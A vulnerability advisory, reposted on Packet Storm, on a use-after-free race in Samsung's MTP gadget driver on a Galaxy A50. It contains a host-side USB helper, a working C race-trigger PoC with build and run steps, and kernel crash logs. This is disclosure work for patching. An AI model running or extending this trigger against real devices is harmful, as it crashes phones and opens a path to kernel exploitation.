Samsung SEND_FILE_WITH_HEADER Use-After-Free ≈ Packet Storm

Samsung: UAF via missing locking in SEND_FILE_WITH_HEADER handler in f_mtp_samsung.c

Tested on a Samsung A50 (SM-A505FN), running build
\"samsung/a50xx/a50:9/PPR1.180610.011/A505FNXXS3ASK9:user/release-keys\", security
patch level 2019-11-01.

Samsung's kernel tree contains two implementations of device-side MTP. One of
them (drivers/usb/gadget/function/f_mtp.c), based on its copyright headers,
seems to be from Google, but this one is disabled at build time.
The second one is drivers/usb/gadget/function/f_mtp_samsung.c.
Both of them have ioctl handlers that handle the ioctl command
SEND_FILE_WITH_HEADER; the Google version runs this handler under a lock, the
Samsung version doesn't hold any locks at this point.

In both MTP implementations, the SEND_FILE_WITH_HEADER handler first looks up a
file from a user-supplied file descriptor, then stashes a pointer to that file
in a struct, posts work to a workqueue to actually send data from the file to
the USB device, waits for the work item to be processed, and then drops its
reference on the file.

By the way, this entire dance with the work queue is probably completely
unnecessary. The Google version of the code has a comment that says:

/* We do the file transfer on a work queue so it will run
* in kernel context, which is necessary for vfs_read and
* vfs_write to use our buffers in the kernel address space.
*/

But that's wrong - if you want to do read/write with kernel buffers, you can
just use kernel_read()/kernel_write() instead of vfs_read()/vfs_write() and
everything should work just fine. (Or on older kernel before v4.14, use
set_fs(KERNEL_DS) manually.)

The problem is that the Samsung version runs this code without holding any
locks:

file = fget(info.Fd);
if (!file) {
status = -EBADF;
printk(KERN_DEBUG \"[%s] line=[%d] bad file number\
\",
__func__, __LINE__);
goto exit;
}

dev->read_send_file = file;
dev->read_send_length = info.Length;
smp_wmb();

work = &dev->read_send_work;
dev->read_send_cmd = info.Code;
dev->read_send_id = info.TransactionID;
queue_work(dev->wq, work);
/* Wait for the work to be complted on work queue */
flush_workqueue(dev->wq);

fput(file);

This means that two threads can race like this (prefixed with a thread
identifier):

[1] file = fget(info.Fd);
[1] if (!file) {
[1] status = -EBADF;
[1] printk(KERN_DEBUG \"[%s] line=[%d] bad file number\
\",
[1] __func__, __LINE__);
[1] goto exit;
[1] }
[1]
[1] dev->read_send_file = file;
[1] dev->read_send_length = info.Length;
[1] smp_wmb();
[2] file = fget(info.Fd);
[2] if (!file) {
[2] status = -EBADF;
[2] printk(KERN_DEBUG \"[%s] line=[%d] bad file number\
\",
[2] __func__, __LINE__);
[2] goto exit;
[2] }
[2]
[2] dev->read_send_file = file;
[2] dev->read_send_length = info.Length;
[2] smp_wmb();
[2]
[2] work = &dev->read_send_work;
[2] dev->read_send_cmd = info.Code;
[2] dev->read_send_id = info.TransactionID;
[2] queue_work(dev->wq, work);
[2] /* Wait for the work to be complted on work queue */
[2] flush_workqueue(dev->wq);
[2]
[2] fput(file);
[1]
[1] work = &dev->read_send_work;
[1] dev->read_send_cmd = info.Code;
[1] dev->read_send_id = info.TransactionID;
[1] queue_work(dev->wq, work);
[1] /* Wait for the work to be complted on work queue */
[1] flush_workqueue(dev->wq);
[1]
[1] fput(file);

If a race like this occurs, then by the time thread [1] reaches queue_work(),
dev->read_send_file no longer holds a reference and may have already been freed.

To reproduce this, you need to have a rooted phone.
Next, you need to run a helper on the host that consumes all the incoming USB
bulk messages on the MTP interface. Code for the helper:

================================================================================
#define _GNU_SOURCE
#include <stdio.h>
#include <err.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#include <linux/usb/ch9.h>

int main(int argc, char **argv) {
if (argc != 4) {
printf(\"usage: %s /dev/bus/usb/<bus>/<device> <interface-id> <endpoint-id (0-15)>\
\");
return 1;
}
int fd = open(argv[1], O_RDWR);
if (fd == -1) err(1, \"open('%s')\", argv[1]);
int interface = strtol(argv[2], NULL, 0);
int endpoint = strtol(argv[3], NULL, 0);
if (ioctl(fd, USBDEVFS_CLAIMINTERFACE, &interface))
err(1, \"claim interface\");
while (1) {
char buf[0x200];
struct usbdevfs_bulktransfer transfer = {
.ep = endpoint | USB_DIR_IN,
.len = sizeof(buf),
.data = buf
};
int len = ioctl(fd, USBDEVFS_BULK, &transfer);
if (len < 0) {
err(1, \"USBDEVFS_BULK\");
} else {
printf(\"got %d\
\", len);
}
}
}
================================================================================

To use the helper, you need the bus and device numbers from lsusb. The interface
ID (bInterfaceNumber) and endpoint ID (bEndpointAddress & 0xf) are 0 and 1, but
you can also find them with lsusb. Usage example:

================================================================================
$ lsusb | grep Samsung
Bus 001 Device 092: ID 04e8:6860 Samsung Electronics Co., Ltd Galaxy series, misc. (MTP mode)
$ lsusb -d 04e8:6860 -v | egrep 'Interface Descriptor|bInterfaceNumber|iInterface|Endpoint Descriptor|bEndpointAddress'
Interface Descriptor:
bInterfaceNumber 0
iInterface 5 MTP
Endpoint Descriptor:
bEndpointAddress 0x81 EP 1 IN
Endpoint Descriptor:
bEndpointAddress 0x01 EP 1 OUT
Endpoint Descriptor:
bEndpointAddress 0x82 EP 2 IN
Interface Descriptor:
bInterfaceNumber 1
iInterface 6 CDC Abstract Control Model (ACM)
Endpoint Descriptor:
bEndpointAddress 0x84 EP 4 IN
Interface Descriptor:
bInterfaceNumber 2
can't get debug descriptor: Resource temporarily unavailable
iInterface 7 CDC ACM Data
Endpoint Descriptor:
bEndpointAddress 0x83 EP 3 IN
Endpoint Descriptor:
bEndpointAddress 0x02 EP 2 OUT
Interface Descriptor:
bInterfaceNumber 3
iInterface 10 ADB Interface
Endpoint Descriptor:
bEndpointAddress 0x03 EP 3 OUT
Endpoint Descriptor:
bEndpointAddress 0x85 EP 5 IN
$ gcc -o usbread usbread.c && ./usbread /dev/bus/usb/001/092 0 1
================================================================================

Now compile the following PoC for the phone:
================================================================================
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

/* from kernel headers */
struct read_send_info {
int Fd;/* Media File fd */
uint64_t Length;/* the valid size, in BYTES, of the container */
uint16_t Code;/* Operation code, response code, or Event code */
uint32_t TransactionID;/* host generated number */
};
#define SEND_FILE_WITH_HEADER 11

/* print error and abort if syscall returned error code */
#define SYSCHK(x) ({ \\
typeof(x) __res = (x); \\
if ((long)__res == -1) \\
err(1, \"SYSCHK: %s\", #x); \\
__res; \\
})

// ensure that when the main process is killed via something like ^C, the entire
// process tree dies relatively quickly
static void set_pdeathsig(void) {
SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));
if (getppid() == 1) errx(1, \"parent went away immediately\");
}

static int dev_fd = -1;

static void collide(void) {
while (1) {
int data_fd = SYSCHK(open(\"/system/bin/sh\", O_RDONLY));
struct read_send_info info = {
.Fd = data_fd,
.Length = 1
};
ioctl(dev_fd, SEND_FILE_WITH_HEADER, &info);
close(data_fd);
}
}

int main(void) {
dev_fd = SYSCHK(open(\"/dev/usb_mtp_gadget\", O_RDWR));
for (int i=0; i<31; i++) {
pid_t child = SYSCHK(fork());
if (child == 0) {
set_pdeathsig();
collide();
return 0;
}
}
collide();

return 0;
}
================================================================================

Compile and use it like this:

================================================================================
$ aarch64-linux-gnu-gcc -static -o samsung_mtp_trigger samsung_mtp_trigger.c -Wall
$ adb push samsung_mtp_trigger /data/local/tmp/
samsung_mtp_trigger: 1 file pushed. 17.2 MB/s (578328 bytes in 0.032s)
$ adbs shell
a50:/ $ su
a50:/ # ps -AZ | grep Mtp
u:r:system_app:s0 system 7587 4068 4272384 163484 ep_poll 0 S com.samsung.android.MtpApplication
a50:/ # kill 7587
a50:/ # /data/local/tmp/samsung_mtp_trigger
$
================================================================================

... and now your phone should crash pretty quickly (something like a second).

To demonstrate that this is actually a UaF, here are snippets from last_kmsg:

================================================================================
<0>[13278.841349] [3: kworker/u16:9:17680] Unable to handle kernel read from unreadable memory at virtual address 00000160
[...]
<4>[13278.841899] [3: kworker/u16:9:17680] CPU: 3 PID: 17680 Comm: kworker/u16:9 Tainted: G W 4.14.62-16641116 #1
<4>[13278.841910] [3: kworker/u16:9:17680] Hardware name: Samsung A50 SWA OPEN rev04 board based on Exynos9610 (DT)
<4>[13278.841941] [3: kworker/u16:9:17680] Workqueue: mtp_read_send read_send_work
<4>[13278.841954] [3: kworker/u16:9:17680] task: ffffffc012aa6300 task.stack: ffffff800cf28000
<4>[13278.841969] [3: kworker/u16:9:17680] PC is at rw_verify_area+0x2c/0xc4
<4>[13278.841980] [3: kworker/u16:9:17680] LR is at vfs_read+0x78/0x138
<4>[13278.841991] [3: kworker/u16:9:17680] pc : [<ffffff80082caa0c>] lr : [<ffffff80082cacf4>] pstate: 00400145
<4>[13278.842001] [3: kworker/u16:9:17680] sp : ffffff800cf2bc90
<4>[13278.842011] [3: kworker/u16:9:17680] x29: ffffff800cf2bca0 x28: 000000000000000c
<4>[13278.842024] [3: kworker/u16:9:17680] x27: 0000000000000000 x26: 0000000000000000
<4>[13278.842037] [3: kworker/u16:9:17680] x25: ffffffc02e164c00 x24: ffffff80090bd369
<4>[13278.842050] [3: kworker/u16:9:17680] x23: ffffffc012aa6300 x22: ffffffc01d41800c
<4>[13278.842063] [3: kworker/u16:9:17680] x21: 0000000000000001 x20: 0000000000000000
<4>[13278.842075] [3: kworker/u16:9:17680] x19: ffffffc800e5b680 x18: 000000000000270f
<4>[13278.842088] [3: kworker/u16:9:17680] x17: 0000000000484728 x16: 0000000000000000
<4>[13278.842101] [3: kworker/u16:9:17680] x15: 00000000000000e6 x14: 0000000000000058
<4>[13278.842114] [3: kworker/u16:9:17680] x13: 000000000003a700 x12: dead000000000200
<4>[13278.842127] [3: kworker/u16:9:17680] x11: dead000000000100 x10: 0000000000000000
<4>[13278.842140] [3: kworker/u16:9:17680] x9 : 0000000000000001 x8 : ffffffffffffffff
<4>[13278.842153] [3: kworker/u16:9:17680] x7 : 682b6874656c2009 x6 : ffffff80f61229b6
<4>[13278.842166] [3: kworker/u16:9:17680] x5 : 0000000000004510 x4 : 000000000000000c
<4>[13278.842178] [3: kworker/u16:9:17680] x3 : 0000000000000001 x2 : 0000000000000000
<4>[13278.842191] [3: kworker/u16:9:17680] x1 : ffffffc800e5b680 x0 : 0000000000000000
[...]
<4>[13278.845924] [3: kworker/u16:9:17680] X19: 0xffffffc800e5b580:
[...]
<4>[13278.846172] [3: kworker/u16:9:17680] b680 : 00000000 00000000 082CEE70 FFFFFF80 00000000 00000000 00000000 00000000
<4>[13278.846200] [3: kworker/u16:9:17680] b6a0 : 00000000 00000000 08D55700 FFFFFF80 00000000 00000000 00000000 00000000
<4>[13278.846228] [3: kworker/u16:9:17680] b6c0 : 00020000 0802801D 00000000 00000000 00000000 00000000 00E5B6D8 FFFFFFC8
<4>[13278.846256] [3: kworker/u16:9:17680] b6e0 : 00E5B6D8 FFFFFFC8 00000000 00000000 00000000 00000000 00000000 00000000
<4>[13278.846285] [3: kworker/u16:9:17680] b700 : 00000000 00000000 00000000 00000000 7F56D500 FFFFFFC8 00000000 00000000
<4>[13278.846313] [3: kworker/u16:9:17680] b720 : 00000000 00000000 00000020 00000000 FFFFFFFF FFFFFFFF 00000000 00000000
<4>[13278.846341] [3: kworker/u16:9:17680] b740 : 00000000 00000000 00000000 00000000 00E5B750 FFFFFFC8 00E5B750 FFFFFFC8
<4>[13278.846369] [3: kworker/u16:9:17680] b760 : 00E5B760 FFFFFFC8 00E5B760 FFFFFFC8 6458BCF0 FFFFFFC8 00000000 00000000
================================================================================

The crash is in rw_verify_area() and is caused by file->f_inode being NULL. The
file pointer is in X19; by looking at X19, we can see that it indeed looks like
a struct file that was just freed (some pointers have been nulled by __fput(),
and the refcount is zero):

================================================================================
mnt dentry
<4>[13278.846172] [3: kworker/u16:9:17680] b680 : 00000000 00000000 082CEE70 FFFFFF80 00000000 00000000 00000000 00000000
inode f_op counter
<4>[13278.846200] [3: kworker/u16:9:17680] b6a0 : 00000000 00000000 08D55700 FFFFFF80 00000000 00000000 00000000 00000000
<4>[13278.846228] [3: kworker/u16:9:17680] b6c0 : 00020000 0802801D 00000000 00000000 00000000 00000000 00E5B6D8 FFFFFFC8
<4>[13278.846256] [3: kworker/u16:9:17680] b6e0 : 00E5B6D8 FFFFFFC8 00000000 00000000 00000000 00000000 00000000 00000000
<4>[13278.846285] [3: kworker/u16:9:17680] b700 : 00000000 00000000 00000000 00000000 7F56D500 FFFFFFC8 00000000 00000000
<4>[13278.846313] [3: kworker/u16:9:17680] b720 : 00000000 00000000 00000020 00000000 FFFFFFFF FFFFFFFF 00000000 00000000
<4>[13278.846341] [3: kworker/u16:9:17680] b740 : 00000000 00000000 00000000 00000000 00E5B750 FFFFFFC8 00E5B750 FFFFFFC8
<4>[13278.846369] [3: kworker/u16:9:17680] b760 : 00E5B760 FFFFFFC8 00E5B760 FFFFFFC8 6458BCF0 FFFFFFC8 00000000 00000000
================================================================================

Reporting this as a security bug since /dev/usb_mtp_gadget is reachable from a
privileged, but not-root-equivalent context:

a50:/ # ls -laZ /dev/usb_mtp_gadget
crw-rw---- 1 system mtp u:object_r:mtp_device:s0 10, 27 2019-12-14 03:12 /dev/usb_mtp_gadget

(allow mediaprovider mtp_device (chr_file (ioctl read write getattr lock append map open)))

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser.